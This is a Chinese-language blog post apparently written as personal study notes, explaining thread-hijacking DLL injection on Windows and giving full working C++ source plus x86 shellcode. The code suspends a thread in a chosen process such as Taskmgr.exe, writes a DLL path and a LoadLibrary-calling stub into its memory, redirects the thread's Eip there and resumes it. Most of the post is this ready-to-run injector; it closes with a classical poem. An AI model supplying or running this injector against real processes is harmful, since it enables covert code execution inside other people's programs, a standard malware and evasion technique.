這段時間一直在複習之前的知識點,今天看到了這種注入,記錄一下,與諸位分享。
預備知識點:
當一個正在執行的線程被掛起之後,系統會保存此時線程的上下背景文(Context),當我們把線程恢復執行的時候,系統會把之前的Context恢復,使線程從Context.Eip處開始執行。
注入思路:
當我們準備注入一個目標進程的時候,找到一個進程中的線程,調用SuspendThread將其掛起,然後向修改Context.Eip的處地址爲我們存放ShellCode的地址。之後手動恢復線程執行,線程會執行我們的ShellCode,我們只需要在ShellCode
中加載dll就完事兒了。
注意事項:
需要把線程掛起前的Eip保存下來,以便執行完ShellCode跳回原線程代碼執行,防止注入之後進程奔潰。
我此處提供的代碼是測試了Win7 x86(Taskmgr.exe)和Win10 下的一個x86進程。在x64下,思路是一致的,需要更換ShellCode廢話不說,下面附上代碼:
#include"SuspendInject.h"
#include"Helper.h"
#ifdef UNICODE
LPFN_LOADLIBRARYW __LoadLibrary = NULL;
#else
LPFN_LOADLIBRARYA __LoadLibrary = NULL;
#endif
#ifndef _WIN64
unsigned char __ShellCode[] =
{
0x68, 0x00, 0x00, 0x00, 0x00, // [0]push 0xxxxxxxxx
0x9c, // [5]pushfd
0x60, // [6]pushad
0x68, 0x00, 0x00, 0x00, 0x00, // [7]push 0xxxxxxxxx
0xb8, 0x00, 0x00, 0x00, 0x00, // [12]mov eax, 0xxxxxxxxx
0xff, 0xd0, // [17]call eax
0x61, // [19]popad
0x9d, // [20]popfd
0xc3 // [21]ret
};
int _tmain()
{
//控制檯識別中文
setlocale(LC_ALL, "Chinese-simplified");
TCHAR ProcessImageName[MAX_PATH] = { 0 };//保存進程名字
TCHAR CurrentFullPath[MAX_PATH] = { 0 }; //當前進程的完整路徑
TCHAR TargetProcessFullPath[MAX_PATH] = { 0 };//目標進程的完整路徑
ULONG_PTR TargetProcessPathLength = MAX_PATH;
ULONG ProcessId = 0;//目標進程Id
CONTEXT ThreadContext; //保存線程上下文結構
DWORD OldEip;//保存原Eip
HANDLE ProcessHandle = INVALID_HANDLE_VALUE;//進程句柄
LPVOID VirtualAddress = NULL;
SIZE_T ReturnLength = 0;
BOOL IsOk = FALSE;
//注入的啓動程序和目標程序的位數
BOOL SourceIsWow64 = FALSE;
BOOL TargetIsWow64 = FALSE;
_tprintf(_T("輸入一個進程ImageName\r\n"));
TCHAR RcceiveChar = _gettchar();//接受字符串
int i = 0;//用來偏移ProcessName字符數組
while (RcceiveChar != '\n')
{
ProcessImageName[i++] = RcceiveChar;
RcceiveChar = _gettchar();
//ProcessImageName = 0x000000db28fceed0 "Taskmgr.exe"
}
GetCurrentDirectory(MAX_PATH, CurrentFullPath);//保存當前進程的完整路徑
IsWow64Process(GetCurrentProcess(), &SourceIsWow64);//得到當前進程位數
//SourceIsWow64 = 0x00000000
ProcessId = KtGetProcessIdentify(ProcessImageName);//通過進程名得到進程Id
//ProcessId = 0x00003aa0
if (ProcessId == 0)
{
return 0;
}
IsOk = KtGetProcessFullPath(TargetProcessFullPath,
&TargetProcessPathLength, ProcessId, FALSE);
if (IsOk == FALSE)
{
return 0;
}
//判斷目標進程位數
KtIsWow64Process(TargetProcessFullPath, &TargetIsWow64);
//TargetIsWow64 = 0x00000000
if (SourceIsWow64 == TRUE && TargetIsWow64 == TRUE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
else if (SourceIsWow64 == FALSE && TargetIsWow64 == FALSE)
{
_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
}
//_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));//Win 7 32位測試用
ProcessHandle = KtOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
ULONG BufferLength = 0;
//在目標進程空間中申請內存
BufferLength = (_tcslen(CurrentFullPath) + 1) * sizeof(TCHAR);
//目標進程空間中申請內存存放Dll完整路徑
VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, BufferLength, MEM_COMMIT, PAGE_READWRITE);
if (VirtualAddress == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//目標進程申請內存--存放ShellCode
PVOID ShellCode = VirtualAllocEx(ProcessHandle, NULL,
sizeof(__ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (ShellCode == NULL)
{
KtCloseHandle(ProcessHandle);
return 0;
}
//目標進程空間中寫入數據
if (KtProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, CurrentFullPath, BufferLength, &ReturnLength) == FALSE)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
//獲得目標進程下的所有線程
vector<HANDLE> ThreadId{};
if (KtGetThreadIdentify((HANDLE)ProcessId, ThreadId) == FALSE)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
HMODULE Kernel32ModuleBase = NULL;
Kernel32ModuleBase = GetModuleHandle(_T("KERNEL32.DLL"));
//Kernel32ModuleBase = kernel32.dll!0x00007ffe83fa0000 (加載符號以獲取其他信息) {unused=0x00905a4d }
if (Kernel32ModuleBase == NULL)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
KtCloseHandle(ProcessHandle);
return 0;
}
#ifdef UNICODE
__LoadLibrary = (LPFN_LOADLIBRARYW)GetProcAddress(Kernel32ModuleBase, "LoadLibraryW");
#else
__LoadLibrary = (LPFN_LOADLIBRARYA)GetProcAddress(Kernel32ModuleBase, "LoadLibraryA");
#endif
if (__LoadLibrary == NULL) {
KtCloseHandle(ProcessHandle);
return 0;
}
HANDLE ThreadHandle = KtOpenThread(
(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME),
FALSE, ThreadId[0]);
if (ThreadHandle)
{
SuspendThread(ThreadHandle);
}
else
{
CloseHandle(ThreadHandle);
}
//設置線程上下文的各種屬性與Eip地址
ThreadContext.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(ThreadHandle, &ThreadContext);
OldEip = ThreadContext.Eip;
ThreadContext.Eip = (DWORD)ShellCode;//動態申請出來的存放ShellCode的地方
ThreadContext.ContextFlags = CONTEXT_CONTROL;
DWORD OldProtect;
VirtualProtect(__ShellCode, sizeof(__ShellCode), PAGE_EXECUTE_READWRITE, &OldProtect);
memcpy((void *)((unsigned long)__ShellCode + 1), &OldEip, 4);
memcpy((void *)((unsigned long)__ShellCode + 8), &VirtualAddress, 4);
memcpy((void *)((unsigned long)__ShellCode + 13), &__LoadLibrary, 4);
VirtualProtect(__ShellCode, sizeof(__ShellCode), OldProtect, &OldProtect);
WriteProcessMemory(ProcessHandle, ShellCode, __ShellCode, sizeof(__ShellCode), NULL);
SetThreadContext(ThreadHandle, &ThreadContext);
ResumeThread(ThreadHandle);
printf("Input AnyKey to Exit\r");
getchar();
ThreadId.~vector();
if (VirtualAddress != NULL)
{
VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
VirtualAddress = NULL;
}
if (ShellCode != NULL)
{
VirtualFreeEx(ProcessHandle, ShellCode, sizeof(__ShellCode), MEM_RELEASE);
ShellCode = NULL;
}
if (ThreadHandle)
{
KtCloseHandle(ThreadHandle);
ThreadHandle = NULL;
}
if (ProcessHandle)
{
KtCloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return 0;
}
#else
#endif
Win7下測試截圖:
今日520,送各位兄弟一句古詩助助興:
“願我如星君如月,夜夜流光相皎潔。”–范成大
雖現實殘酷,夜晚很黑,但最終陽光會灑向大地,一切都會好起來的。